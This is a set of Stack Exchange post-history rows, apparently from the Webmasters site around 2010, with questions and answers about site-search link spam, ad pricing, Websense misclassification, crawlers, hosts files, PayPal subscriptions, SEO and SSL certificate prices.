  <row Id="7452" PostHistoryTypeId="2" PostId="3801" RevisionGUID="9d28c377-3914-43f7-94c7-9fe7346d7408" CreationDate="2010-10-13T18:02:12.970" UserId="1953" Text="A while ago I saw quite a few spammers taking advantage of poorly coded site searches. Some searches if they have nothing to return from their site will then show web results (IE Google search results). If they site doesn't keep their search results from being indexed a spammer can easily generate search results they know will return their site and build a few links to make sure the page gets indexed and voila they have links from your site to theirs. &#xD;&#xA;&#xD;&#xA;I haven't seen this lately because Google doesn't like to show search results in their results and URLs from site search are pretty easy to pick out since they usually contain parameters like query= q= s= or search= so they do a good job of keeping them out of their index.&#xD;&#xA;&#xD;&#xA;This is pure theory but along those lines it seems like it would be possible to exploit custom 404 pages (and more difficult for Google to detect). Many people create custom 404s to try and direct users to where they want to go, I've seen a bunch that appear to auto populate site search results based on URL parameters. I've also seen a bunch of custom 404s get indexed because they return a 200 status rather then true 404. It's logical if you combine the two you'd end up with a regular looking URL with a list of links to said spam site.&#xD;&#xA;&#xD;&#xA;Regardless it looks as though your site is handling it properly." />
  <row Id="7456" PostHistoryTypeId="5" PostId="3785" RevisionGUID="3fef5786-bb5c-441c-9525-b0caa04dde86" CreationDate="2010-10-13T19:32:28.560" UserId="108" Comment="edited body; edited title" Text="I visit many sites but click on their ads very rarely. I suppose many people do the same thing.&#xD;&#xA;&#xD;&#xA;Do you think that publishing an article under &quot;pay per click&quot; policy, can have good earnings?" />
  <row Id="7457" PostHistoryTypeId="4" PostId="3785" RevisionGUID="3fef5786-bb5c-441c-9525-b0caa04dde86" CreationDate="2010-10-13T19:32:28.560" UserId="108" Comment="edited body; edited title" Text="Is &quot;pay per click&quot; really effective?" />
  <row Id="7458" PostHistoryTypeId="2" PostId="3802" RevisionGUID="bf6ba54f-384f-4e14-926a-909ffea31ebd" CreationDate="2010-10-13T19:36:35.713" UserId="108" Text="I think this is a good article on the subject http://www.problogger.net/archives/2008/03/27/how-much-should-i-charge-for-my-advertising-space/.&#xD;&#xA;&#xD;&#xA;The best thing to do is research what others in your industry are charging for ads of any kind on their websites and see what Google Banner ad rates go for on subject matter comparable to your site.&#xD;&#xA;&#xD;&#xA;Once you have all of that you can create a guide for your clients to follow based off of what you have learned." />
  <row Id="7459" PostHistoryTypeId="5" PostId="3746" RevisionGUID="ec1b3754-3d0a-4dde-a25b-321be507afa5" CreationDate="2010-10-13T19:37:13.233" UserId="108" Comment="added 7 characters in body" Text="I'm developing a web application which contains banner ads, and I don't know how to teach my clients how much to charge their customers for banner ads. Can someone help with a book or business strategy?" />
  <row Id="7460" PostHistoryTypeId="2" PostId="3803" RevisionGUID="32021e2d-f0d7-4b24-8d15-f29f9bc86ef6" CreationDate="2010-10-13T21:14:25.830" UserId="2328" Text="I'm looking for the AllowOverride setting for GoDaddy hosting, does anybody know where I can find that?" />
  <row Id="7461" PostHistoryTypeId="1" PostId="3803" RevisionGUID="32021e2d-f0d7-4b24-8d15-f29f9bc86ef6" CreationDate="2010-10-13T21:14:25.830" UserId="2328" Text="What are the AllowOverride settings if you're hosted on GoDaddy?" />
  <row Id="7462" PostHistoryTypeId="3" PostId="3803" RevisionGUID="32021e2d-f0d7-4b24-8d15-f29f9bc86ef6" CreationDate="2010-10-13T21:14:25.830" UserId="2328" Text="&lt;apache&gt;&lt;htaccess&gt;" />
  <row Id="7463" PostHistoryTypeId="2" PostId="3804" RevisionGUID="40114c8c-6d1e-452c-804f-0e638b83ebea" CreationDate="2010-10-13T21:45:33.290" UserId="3" Text="I received the following email from a user of our website&#xD;&#xA;&#xD;&#xA;&gt; This morning I tried to log into `example.com` and I was blocked by websense at work because it is considered a &quot;social networking&quot; site or something.  I assume the websense filter is maintained by a central location, so I'm hoping that by letting you guys know you can get it unblocked.&#xD;&#xA;&#xD;&#xA;per [Wikipedia][2], Websense is web filtering or Internet content-control software.&#xD;&#xA;&#xD;&#xA;This means our site is being miscategorized by [websense][1] as &quot;social networking&quot; and thus disallowed for access at any workplace that uses websense to control what websites their users can and cannot access during work hours.&#xD;&#xA;&#xD;&#xA;(I know, they are monsters!)&#xD;&#xA;&#xD;&#xA;How do we dispute this websense classification error, as our website should definitely be considered &quot;information technology&quot; and not &quot;social networking&quot;?&#xD;&#xA;&#xD;&#xA;[1]: http://www.websense.com&#xD;&#xA;[2]: http://en.wikipedia.org/wiki/Websense" />
  <row Id="7464" PostHistoryTypeId="1" PostId="3804" RevisionGUID="40114c8c-6d1e-452c-804f-0e638b83ebea" CreationDate="2010-10-13T21:45:33.290" UserId="3" Text="Website misclassified by websense" />
  <row Id="7465" PostHistoryTypeId="3" PostId="3804" RevisionGUID="40114c8c-6d1e-452c-804f-0e638b83ebea" CreationDate="2010-10-13T21:45:33.290" UserId="3" Text="&lt;untagged&gt;" />
  <row Id="7466" PostHistoryTypeId="2" PostId="3805" RevisionGUID="c1388aa0-59ac-471e-97f6-eaa08fc39c19" CreationDate="2010-10-13T22:06:20.757" UserId="3" Text="Digging around on their website I found [Websense Suggest a URL][1], which appears to require an account. However, even when you *do* create a new account; there's nowhere to submit a categorization dispute that I could see!&#xD;&#xA;&#xD;&#xA;Per [How do I find out how a site is categorized?][4] we should be able to use the Site Lookup and URL Category tools.. but I think these are for paying websense customers only. I am able to get into &quot;my WebSense&quot; with a new account, but when I try to click the **Site Lookup Tool** I get a big honking &#xD;&#xA;&#xD;&#xA;&gt; Sorry, you are unauthorized to access this page.&#xD;&#xA;&#xD;&#xA;I also found this on their forums:&#xD;&#xA;&#xD;&#xA;&gt; I could not replicate this [miscategorized site issue]. However, if you run into this in the future you can always email suggest@websense.com for all categorization-related inquiries and Site Lookup Tool feedback. That will go right to our database operations team.&#xD;&#xA;&#xD;&#xA;There's also a [Denied Access to a Web Page?][2] which states at the bottom&#xD;&#xA;&#xD;&#xA;&gt; ### What can you do if you feel a Web site has been incorrectly categorized?&#xD;&#xA;&gt; If you feel a Web site has been incorrectly categorized, you can also suggest that Websense database researchers investigate a Web site classification by e-mailing suggest@websense.com.&#xD;&#xA;&#xD;&#xA;And similarly [Report miscategorized web sites or suggest new URLs?][3] says:&#xD;&#xA;&#xD;&#xA;&gt; ### Problem Description  &#xD;&#xA;&gt; I identified a miscategorized web site. How do I submit the URL for review?&#xD;&#xA;&gt; ### Resolution&#xD;&#xA;&gt; To post a new URL for review or suggest a category change, send an e-mail to suggest@websense.com.&#xD;&#xA;&#xD;&#xA;&gt; The Database Operations team reviews URLs and respond to inquiries.&#xD;&#xA;&#xD;&#xA;Bottom line: **email suggest@websense.com**.&#xD;&#xA;&#xD;&#xA;It is a shame there's no way (that I can find) for us to test our websense categorization &#xD;&#xA;state from the outside.. &#xD;&#xA;&#xD;&#xA;[1]: https://www.websense.com/global/en/ProductsServices/MasterDatabase/URLChange.php&#xD;&#xA;[2]: http://www.websense.com/content/blocked-by-websense.aspx&#xD;&#xA;[3]: http://www.websense.com/support/article/kbarticle/How-do-I-know-how-many-Site-Lookup-request-that-I-have-generated&#xD;&#xA;[4]: http://www.websense.com/support/article/t-kbarticle/v7-How-do-I-find-out-how-a-site-is-categorized-1258048436086" />
  <row Id="7467" PostHistoryTypeId="5" PostId="3804" RevisionGUID="4318b8c7-93ab-4653-9ced-6cb51376d88a" CreationDate="2010-10-13T22:11:42.803" UserId="3" Comment="added 121 characters in body" Text="I received the following email from a user of our website&#xD;&#xA;&#xD;&#xA;&gt; This morning I tried to log into `example.com` and I was blocked by websense at work because it is considered a &quot;social networking&quot; site or something.  I assume the websense filter is maintained by a central location, so I'm hoping that by letting you guys know you can get it unblocked.&#xD;&#xA;&#xD;&#xA;per [Wikipedia][2], Websense is web filtering or Internet content-control software.&#xD;&#xA;&#xD;&#xA;This means our site is being miscategorized by [websense][1] as &quot;social networking&quot; and thus disallowed for access at any workplace that uses websense to control what websites their users can and cannot access during work hours.&#xD;&#xA;&#xD;&#xA;(I know, they are monsters!)&#xD;&#xA;&#xD;&#xA;1. How do we dispute this websense classification error, as our website should definitely be considered &quot;information technology&quot; and not &quot;social networking&quot;?&#xD;&#xA;&#xD;&#xA;2. How do we know what category websense has put our sites in, so we can pro-actively make sure they're not wrong?&#xD;&#xA;&#xD;&#xA;[1]: http://www.websense.com&#xD;&#xA;[2]: http://en.wikipedia.org/wiki/Websense" />
  <row Id="7468" PostHistoryTypeId="2" PostId="3806" RevisionGUID="09fff7c5-2415-4c0e-9768-4331568a7627" CreationDate="2010-10-13T22:32:24.977" UserId="1074" Text="I ran a large non-profit site for several years and we got into the advertising game.  The problem is that there's no one-size fits all answer to this question.  Some factors that can influence your efforts:&#xD;&#xA;&#xD;&#xA; 1. The value of the ads is what the buyers will support.  That's the genius of Google AdWords--they set the value based on the demand and what people are willing to spend. &#xD;&#xA;    If you're asking $500 and not selling any banners, then the value obviously is less that your ask.  IF you're charging a dollar and don't have any inventory, then the value&#xD;&#xA;    is obviously more than your charging.  The value will change nearly constantly, so it's up to you to identify the &quot;sweet spot&quot; and follow its trends up and down.&#xD;&#xA; 2. Your traffic has a big effect on the value too, especially if you're charging based on CPM (cost per thousand impressions)  The more views you have, obviously the more you can charge.  If you're charging by click through (CTR) it's important to have quality, relevant ads that people are interested in.  As you put more time into advertising, will it negatively affect your content which could bring down your traffic?&#xD;&#xA; 3. Good advertisers (the ones who often control the most ad spends) demand metrics.  How will you provide this?  How will you audit it?  The best (read most profitable) sites give their advertisers real-time metrics.  Can you do this technically/financially?&#xD;&#xA; 4. How will you attract and service your customers?  If they are paying you good money, they will need &quot;attention&quot;  So, are you going to hire a staff to sell and service advertisers?  Remember, you're competing against sites who have an army of people pounding the pavement every single day.&#xD;&#xA;&#xD;&#xA;To answer the original question, unless you formulate a sort of bidding system, you're likely going to have to rely on trial and error.  You'll get laughed at several times as you attempt to charge too much, or you'll overfill your inventory by charging too little, then be chastised for raising your rates.  It's the reason that I recommend to everyone that unless they're serious about supporting an advertising system to come back to reality (financially speaking) and get onboard with a system like AdWords or DoubleClick.  As developers and tech guys, there's so many other ways for us to make really good money!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7469" PostHistoryTypeId="5" PostId="3804" RevisionGUID="5d8b8b71-a5e0-499e-8dc6-11b48353f7cd" CreationDate="2010-10-13T22:38:27.613" UserId="3" Comment="added 81 characters in body" Text="I received the following email from a user of one of [our websites][3]:&#xD;&#xA;&#xD;&#xA;&gt; This morning I tried to log into `example.com` and I was blocked by websense at work because it is considered a &quot;social networking&quot; site or something.  I assume the websense filter is maintained by a central location, so I'm hoping that by letting you guys know you can get it unblocked.&#xD;&#xA;&#xD;&#xA;per [Wikipedia][2], Websense is web filtering or Internet content-control software.&#xD;&#xA;&#xD;&#xA;This means one (or more) of [our sites][3] is being miscategorized by [websense][1] as &quot;social networking&quot; and thus disallowed for access at any workplace that uses websense to control what websites their users can and cannot access during work hours.&#xD;&#xA;&#xD;&#xA;(I know, they are monsters!)&#xD;&#xA;&#xD;&#xA;1. How do we dispute this websense classification error, as [our websites][3] should generally be considered &quot;information technology&quot; and never &quot;social networking&quot;?&#xD;&#xA;&#xD;&#xA;2. How do we know what category websense has put our sites in, so we can pro-actively make sure they're not wrong?&#xD;&#xA;&#xD;&#xA;[1]: http://www.websense.com&#xD;&#xA;[2]: http://en.wikipedia.org/wiki/Websense&#xD;&#xA;[3]: http://stackexchange.com/sites" />
  <row Id="7470" PostHistoryTypeId="2" PostId="3807" RevisionGUID="eaabb4e0-c7e2-457e-bd79-7736f5d397aa" CreationDate="2010-10-13T22:49:53.300" UserId="2349" Text="I work for Websense.&#xD;&#xA;&#xD;&#xA;There are ways to directly query the Websense database but it's not something that is generally publicly accessible (unless you have an account and so on).&#xD;&#xA;&#xD;&#xA;I will forward this thread to some of my peeps at Websense and I'll report back shortly.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Carl&#xD;&#xA;" />
  <row Id="7471" PostHistoryTypeId="2" PostId="3808" RevisionGUID="c9969e97-d917-4e7d-a2b8-3648186fdc7c" CreationDate="2010-10-14T00:04:30.700" UserDisplayName="delete" Text="On one website I have, looking at the logs, I find lots and lots of &quot;Sosospider&quot; hits. Is this the same for everyone, or just me? Now, I have never once been sent any traffic from anything which looks like it might be anything to do with Sosospider, so can anyone explain what this thing does? Does it cache the pages and send cached pages to users or something?&#xD;&#xA;" />
  <row Id="7472" PostHistoryTypeId="1" PostId="3808" RevisionGUID="c9969e97-d917-4e7d-a2b8-3648186fdc7c" CreationDate="2010-10-14T00:04:30.700" UserDisplayName="delete" Text="Sosospider: what does it actually want?" />
  <row Id="7473" PostHistoryTypeId="3" PostId="3808" RevisionGUID="c9969e97-d917-4e7d-a2b8-3648186fdc7c" CreationDate="2010-10-14T00:04:30.700" UserDisplayName="delete" Text="&lt;crawling&gt;" />
  <row Id="7474" PostHistoryTypeId="2" PostId="3809" RevisionGUID="85ebf02f-5028-4085-8369-74cba43cf4f0" CreationDate="2010-10-14T00:08:19.913" UserId="1253" Text="It looks like it is just a [search engine crawler for a website in China][1]. The lack of traffic may have to do with the fact that your site is in English (assumption) and probably isn't what its users are looking for. I would think the crawler wouldn't crawl you since your site is not in Chinese (assumption) but maybe their system isn't that sophisticated or doesn't care.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.httpuseragent.org/list/Sosospider-n665.htm" />
  <row Id="7475" PostHistoryTypeId="2" PostId="3810" RevisionGUID="469914b0-dacb-4d8a-b440-c68ea4f4a8fc" CreationDate="2010-10-14T00:58:36.823" UserId="2357" Text="My friend and colleague has an excellent article on sending mail here:&#xD;&#xA;http://mikehillyer.com/email/how-to-send-one-billion-email-marketing-messages-per-month/&#xD;&#xA;&#xD;&#xA;While you're not working at that scale of things, the meat and potatoes are the same." />
  <row Id="7476" PostHistoryTypeId="2" PostId="3811" RevisionGUID="abc341d9-c616-41a4-9522-2c19322b3e0c" CreationDate="2010-10-14T01:13:46.793" UserId="2358" Text="it should be available editing an .htaccess file on any folder starting on the web-root." />
  <row Id="7477" PostHistoryTypeId="2" PostId="3812" RevisionGUID="85e3b6ed-7b57-4a9f-ac47-10aa5beec98a" CreationDate="2010-10-14T01:22:51.237" UserId="1218" Text="On the Mac, changing the hosts file is a little tricky, so use the free [Gas Mask][1] to do this. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.clockwise.ee/gasmask/" />
  <row Id="7478" PostHistoryTypeId="5" PostId="3441" RevisionGUID="46727b0d-cc9d-4afb-a1ff-515186464aaa" CreationDate="2010-10-14T01:42:02.617" UserId="3" Comment="added 12 characters in body" Text="You can edit your hosts file in a way that this domain name points to different IP. For example in windows the host file is in: &#xD;&#xA; &#xD;&#xA;`\Windows\System32\drivers\etc\`&#xD;&#xA;&#xD;&#xA;In Ubuntu it is in &#xD;&#xA;&#xD;&#xA;`/etc/`&#xD;&#xA;&#xD;&#xA;So you find the file, open it with simple text editor, and write the new IP and the domain name. It must look something like:  &#xD;&#xA;&#xD;&#xA;`92.152.175.86 mydomain.com`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7479" PostHistoryTypeId="2" PostId="3813" RevisionGUID="503b6830-03b4-40a1-a8f1-1626765c0a27" CreationDate="2010-10-14T01:55:22.827" UserId="1218" Text="Here's the excellent [Browser Size tool from Google][1] showing how many percent of users will see the different areas of your website. This really helps to check webpages and ensure that people on 'shallow' screens (most laptops have very wide but very shallow/not deep screens) can see your important content and calls to action.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://browsersize.googlelabs.com/" />
  <row Id="7480" PostHistoryTypeId="2" PostId="3814" RevisionGUID="38eca2be-56b8-45a1-8cf5-012cda96ef3e" CreationDate="2010-10-14T02:16:31.450" UserId="1218" Text="We've been using [Aspnix][1] for our .Net playground and client staging for the past few years. It has all the features we need, and we can live with the occasional downtime as nothing is production. We use the [Shared Personal][2] at USD7.77 a month.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.aspnix.com/&#xD;&#xA;  [2]: http://www.aspnix.com/web-hosting/compare-hosting-plans" />
  <row Id="7481" PostHistoryTypeId="5" PostId="3813" RevisionGUID="000613eb-50b0-4a90-a92a-1b381c1a04cd" CreationDate="2010-10-14T03:19:27.163" UserId="3" Comment="added 71 characters in body" Text="Here's the excellent [Browser Size tool from Google][1] showing how many percent of users will see the different areas of your website. This really helps to check webpages and ensure that people on 'shallow' screens (most laptops have very wide but very shallow/not deep screens) can see your important content and calls to action.&#xD;&#xA;&#xD;&#xA;![google browser size tool][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://browsersize.googlelabs.com/&#xD;&#xA;  [2]: http://i.stack.imgur.com/eh12i.jpg" />
  <row Id="7482" PostHistoryTypeId="2" PostId="3815" RevisionGUID="186fe74c-0a4a-49cb-8df4-090d8d3c2f6c" CreationDate="2010-10-14T05:13:32.053" UserId="480" Text="You can always use the 'hub and spoke' method, usedcars.com can host the in depth pages on each car and with a nice domain like that it can be used for shareable perma-links. Meanwhile the main site concentrates on the buying (selling from the customers perspective) of cars, and a description of automobile4u (or whoever the company is).&#xD;&#xA;&#xD;&#xA;This way you can generate a lot of highly concentrated single topic SEO goodness against a well suited domain, have a wealth of relevant content and a ton of backlinks to your main domain (and visa-versa).&#xD;&#xA;&#xD;&#xA;The next time you have a opportunity i.e. you suddenly have a huge number of Minis to sell and usedminis.com is available, the content can be split further across domains." />
  <row Id="7483" PostHistoryTypeId="2" PostId="3816" RevisionGUID="da598143-ca9b-475f-9f97-86f6e6e177d8" CreationDate="2010-10-14T05:31:39.990" UserId="2379" Text="You can use paypal subscriptions for this easily.&#xD;&#xA;Paypal website payments standard supports this, allowing you to accept visa, mc, paypal, amex as payment methods for your subscribers.&#xD;&#xA;&#xD;&#xA;You cannot create a stored button for this, becuse the stored buttons are encrypted with a set amount or subscription profile.&#xD;&#xA;&#xD;&#xA;You create a standard button.&#xD;&#xA;Your application logic can programatically create the variables for the subscription.  The price, recurrance, ect.  So if your product is 20 per month, and the user gets an add on for 5 more then you create a subscribe button for $25.&#xD;&#xA;&#xD;&#xA;This is easy to do with any server side scripting language.  PHP libraries (plus others) are available for encrypting the button.  Paypal calls this EWP.  The encryption ensures that someone cannot modify the amounts outside of your subscription service and try to &quot;hack the system&quot;.  Its not necessary because you can monitor your paypal account to watch for &quot;odd&quot; subscription amounts.&#xD;&#xA;&#xD;&#xA;Paypal will also notify you by email on new subscriptions, and can even talk to your server by a process they call IPN (instant payment notification)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The only drawbacks of using paypal are:&#xD;&#xA;1. some people think it looks cheap&#xD;&#xA;2. paypal stores the credit card info for your subscribers (this is good since you dont have to deal with pci compliance), its bad because you are locked in.&#xD;&#xA;3. Paypal charges 2.9% plus a transaction fee each time there is a charge.  this is very low compared to industry averages but can be a problem if you have 100k subscribers because then youd qualify for interchange plus pricing&#xD;&#xA;4. user goes to paypal site briefly to create the subscription.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;A more professional approach is to sign up for a real merchant account.  Use an api for your gateway to program exact subscription rates, store your clients in a db, and bill them accordingly monthly using hte API" />
  <row Id="7484" PostHistoryTypeId="2" PostId="3817" RevisionGUID="6857cf7c-72fc-4315-9a6a-9db91e3abfd3" CreationDate="2010-10-14T05:41:49.617" UserId="2379" Text="http://www.xigla.com/apodcast/features.htm&#xD;&#xA;&#xD;&#xA;Check it out.&#xD;&#xA;its a very easy script to write, and would be very easy to do if you were doing it with IIS7 bitrate throttling or streaming..&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7485" PostHistoryTypeId="2" PostId="3818" RevisionGUID="fed5b8b6-4e21-4acf-9afb-447ca27398d9" CreationDate="2010-10-14T05:45:26.350" UserId="2379" Text="Website payments standard is fine... &#xD;&#xA;its essentially a regular merchant account with some paypal add ons.&#xD;&#xA;&#xD;&#xA;I would suggest getting a real merchant account.&#xD;&#xA;From a bank or a rep that offers them.&#xD;&#xA;In the USA paysimple and braintreemerchants have great reputations.&#xD;&#xA;&#xD;&#xA;The merchant account usually will have a preferred gateway.  The most popular is authorize.net, USAepay is a great choice also.  The gateway is really a virtual front end to the merchant account.  Allows you to process cards through a user interface or a programming interface.&#xD;&#xA;&#xD;&#xA;The reason to go with a real merchant account now is although you may pay a bit more in fees than paypal, in the long run you could save money.  The industry of payments is changing and it will not be tough to re-negotiate your rates wiht  your merchant account or switch to someone that offers &quot;interchange-plus-pricing&quot; for their merchant accounts.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7492" PostHistoryTypeId="2" PostId="3823" RevisionGUID="c2dc0ce1-d45d-4fc4-ae51-db0af452e81c" CreationDate="2010-10-14T06:46:02.830" UserId="2379" Text="A cool solution would be to upload the screenshots at a max resolution 2560x1600.&#xD;&#xA;Then when the page loads, detect the browser window size, and use an image handler to resize and save the image on your server on its first request.&#xD;&#xA;&#xD;&#xA;That way people with high resolution monitors dont get neglected. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="7498" PostHistoryTypeId="2" PostId="3827" RevisionGUID="2fe23851-ef67-455f-b143-f0e6fbc6972a" CreationDate="2008-08-07T07:31:27.183" UserDisplayName="DylanJ" Text="I've always tried to keep my sites as &quot;search engine&quot; friendly as possible. I'll give title's to my links, alt's to my images and have urls reflect a page's content( http://site.com/some-kind-of-content/ ) &lt;br&gt;&lt;br&gt;I do this so that hopefully Google and any other search engine that crawls my website will rank it better in their searches." />
  <row Id="7499" PostHistoryTypeId="2" PostId="3829" RevisionGUID="07ad9ac4-f0b7-4730-9b08-5070a634b2ca" CreationDate="2008-08-07T10:27:17.377" UserId="190" Text="Google offers some [guidelines][1] in their [Webmasters Tools][2], I think they focus more on What Not to Do, but it might be a good place to start.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&#xD;&#xA;  [2]: http://www.google.com/webmasters/" />
  <row Id="7500" PostHistoryTypeId="2" PostId="3831" RevisionGUID="cfb4ba49-4287-4e71-a125-ab485b99928e" CreationDate="2008-08-07T11:00:00.007" UserDisplayName="rossp" Text="Although people refer to it as SEO, I think to think of a lot of &quot;SEO&quot; techniques as just good practice.&#xD;&#xA;&#xD;&#xA;A few examples:&#xD;&#xA;&#xD;&#xA;* Having sensible URL's, such as `/articles/2008/aug/how-to-build-a-nice-desk/` is not only nice for Google (as it's loaded with keywords) but it's easy for your visitors to write down or repeat over the phone. It's sure nicer than `/index.php?module=articles&amp;article=128410`.&#xD;&#xA;* Having alt text / titles / etc helps users without images and screen readers&#xD;&#xA;* Things such as frames and excess use of Javascript need to be used carefully to make a users experience easier - if you give the user a good experience (such as real hyperlinks or history-friendly ajax) the search engines will also have an easier time finding your content.&#xD;&#xA;* Having semantically correct HTML not only helps with SEO, but helps with cross-browser compatibility.&#xD;&#xA;* Search engines love fresh content... so do your users.&#xD;&#xA;&#xD;&#xA;The list could go on, but general SEO techniques seem to say to me &quot;Design a site that's easy to use, follows standards, and that has fresh content and you'll probably get decent linkbacks and decent search engine ranking&quot;." />
  <row Id="7501" PostHistoryTypeId="2" PostId="3828" RevisionGUID="ee8ab337-e75f-4e9f-8905-c1ad9f2171a7" CreationDate="2008-08-07T09:04:03.283" UserDisplayName="GateKiller" Text="When every mentions SEO, they mean Google Optimisation.&#xD;&#xA;&#xD;&#xA;[PageRank][1] is their primary method of ranking pages. It is based on the fact that if I like or references something from another website, I will link to it.&#xD;&#xA;&#xD;&#xA;After that there are [many rules][2] which Google uses to rank your pages/website in the system.&#xD;&#xA;&#xD;&#xA;I would defiantly do research into SEO, especially if you want your website to be high in search ranks, however, if you website is extremely popular, then SEO is probably less of a priority.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]:  http://en.wikipedia.org/wiki/PageRank&#xD;&#xA;  [2]: http://www.vaughns-1-pagers.com/internet/google-ranking-factors.htm" />
  <row Id="7502" PostHistoryTypeId="2" PostId="3830" RevisionGUID="66f603dc-59b4-4144-9ad8-d094742f561c" CreationDate="2008-08-07T10:49:04.303" UserDisplayName="Lasse V. Karlsen" Text="The best advice I've ever been given regarding SEO is just to think like a machine reading your webpage, instead of a human.&#xD;&#xA;&#xD;&#xA;Basically:&#xD;&#xA;&#xD;&#xA;* Don't over-use javascript links for for other pages, makes it hard for a crawler bot to both identify and follow the links&#xD;&#xA;* What Dylan said, make all links clearly labelled with good titles and/or images, ALT labels for images, etc.&#xD;&#xA;* Try to avoid ajax for things other than grids or similar, if your entire site is just http://www.domain.com/ and you use ajax for anything else, how can a search engine link to any particular bit, much less find it?&#xD;&#xA;* Try to avoid frames too much, otherwise you need to handle direct links to your frame-pages&#xD;&#xA;&#xD;&#xA;And the ultimately best advice I've been given, but one that is harder to follow:&#xD;&#xA;&#xD;&#xA;* Make a popular website that people would want to link to" />
  <row Id="7503" PostHistoryTypeId="2" PostId="3832" RevisionGUID="93007325-2a09-469f-902a-73a195dc1a95" CreationDate="2008-08-11T14:04:40.250" UserDisplayName="HoboBen" Text="&gt; Are there any books or do these date so quickly that they are obsolete?&#xD;&#xA;&#xD;&#xA;I hear the same SEO arguments now that I did four years ago. Most of the advice I would say is timeless.&#xD;&#xA;&#xD;&#xA;[NetMechanic tips](http://www.netmechanic.com/news/index.shtml) haven't been updated since 2006, but even the articles dating back to 1998 are still relevant today.&#xD;&#xA;&#xD;&#xA;&gt; Is it event worth learning the techniques as search engines change their algorithms so regularly?&#xD;&#xA;&#xD;&#xA;I would say it's definitely worth learning some of the techniques. Often the tips apply as much to search engine optimisation as they do to website accessibility. In my experience search engines change only to favour websites that are honest and use markup intended for humans (meaningful alt tags, rather than alt tags or hidden text crammed with spammy keywords) and to punish those using &quot;Black Hat SEO&quot; who do have to change their techniques as search engines evolve." />
  <row Id="7504" PostHistoryTypeId="2" PostId="3833" RevisionGUID="25f995e3-8eb6-4168-9342-35989a8e637b" CreationDate="2010-06-14T23:09:01.027" UserDisplayName="louism" Text="&gt; * Are there any books or do these date so quickly that they are obsolete?&#xD;&#xA;&#xD;&#xA;im sure there are books on seo, lots of them. unless you are planning on specialising on seo, you wont really need them. what you can get off the web should be enough&#xD;&#xA;&#xD;&#xA;&gt; * Do all website give you mis-information or are there any reliable sources?&#xD;&#xA;&#xD;&#xA;i dont think websites give misinformation. you just watch out for common patterns and you can be confident the info is correct (i.e. if a  few websites say the same thing, its probably right)&#xD;&#xA;&#xD;&#xA;&gt; * Is it just a case of trial and error and in turn experience?&#xD;&#xA;&#xD;&#xA;i would say no, it would take you forever than. you are better off reading some guides on the web (e.g. [Bare Minimum On-Page SEO][1])&#xD;&#xA;&#xD;&#xA;* Is it event worth learning the techniques as search engines change their algorithms so regularly?&#xD;&#xA;&#xD;&#xA;&gt; I wonder if it just better to spend the time to ensure you have a regularly updated will written web site with quality content, site map, quality links etc..&#xD;&#xA;&#xD;&#xA;its not really an either or situation, both will help (i.e. keep fresh content on your website + undertake seo)&#xD;&#xA;&#xD;&#xA;--LM&#xD;&#xA;&#xD;&#xA;  [1]: http://pm4web.blogspot.com/2008/08/bare-minimum-on-page-seo.html" />
  <row Id="7506" PostHistoryTypeId="2" PostId="3826" RevisionGUID="59d4d6e1-322a-41c4-8e9b-eef5da022380" CreationDate="2008-08-07T07:22:38.217" UserDisplayName="John" Text="I know very little about Search engine optimization however from discussions with other I am now unsure where to start.&#xD;&#xA;&#xD;&#xA;  - Are there any books or do these date so quickly that they are obsolete?&#xD;&#xA;  - Do all website give you mis-information or are there any reliable sources?&#xD;&#xA;  - Is it just a case of trial and error and in turn experience?&#xD;&#xA;  - Is it event worth learning the techniques as search engines change their algorithms so regularly?&#xD;&#xA;&#xD;&#xA;I wonder if it just better to spend the time to ensure you have a regularly updated will written web site with quality content, site map, quality links etc.." />
  <row Id="7507" PostHistoryTypeId="1" PostId="3826" RevisionGUID="59d4d6e1-322a-41c4-8e9b-eef5da022380" CreationDate="2008-08-07T07:22:38.217" UserDisplayName="John" Text="Can you /should you learn SEO techniques" />
  <row Id="7508" PostHistoryTypeId="3" PostId="3826" RevisionGUID="59d4d6e1-322a-41c4-8e9b-eef5da022380" CreationDate="2008-08-07T07:22:38.217" UserDisplayName="John" Text="&lt;language-agnostic&gt;&lt;web&gt;&lt;seo&gt;" />
  <row Id="7509" PostHistoryTypeId="17" PostId="3826" RevisionGUID="bdee89d4-4ad5-46f5-a995-3e8eddd33667" CreationDate="2010-10-14T07:40:49.313" UserId="-1" Comment="from http://stackoverflow.com/questions/4494/can-you-should-you-learn-seo-techniques" Text="" />
  <row Id="7514" PostHistoryTypeId="2" PostId="3836" RevisionGUID="f91ecd5a-4b16-4dcb-b00d-bd66c7497a3d" CreationDate="2010-10-14T09:11:31.220" UserId="2395" Text="I've been comparing prices of different SSL certificates and found a massive difference in prices between different providers.&#xD;&#xA;&#xD;&#xA;If we take http://www.namecheap.com/learn/other-services/ssl-certificates.asp as an example, what would be the advantage of going for the Geotrust certificate for $48.88/year over the RapidSSL $9.95/year option?" />
  <row Id="7515" PostHistoryTypeId="1" PostId="3836" RevisionGUID="f91ecd5a-4b16-4dcb-b00d-bd66c7497a3d" CreationDate="2010-10-14T09:11:31.220" UserId="2395" Text="What are the benefits of a more expensive SSL certificate?" />
  <row Id="7516" PostHistoryTypeId="3" PostId="3836" RevisionGUID="f91ecd5a-4b16-4dcb-b00d-bd66c7497a3d" CreationDate="2010-10-14T09:11:31.220" UserId="2395" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;" />
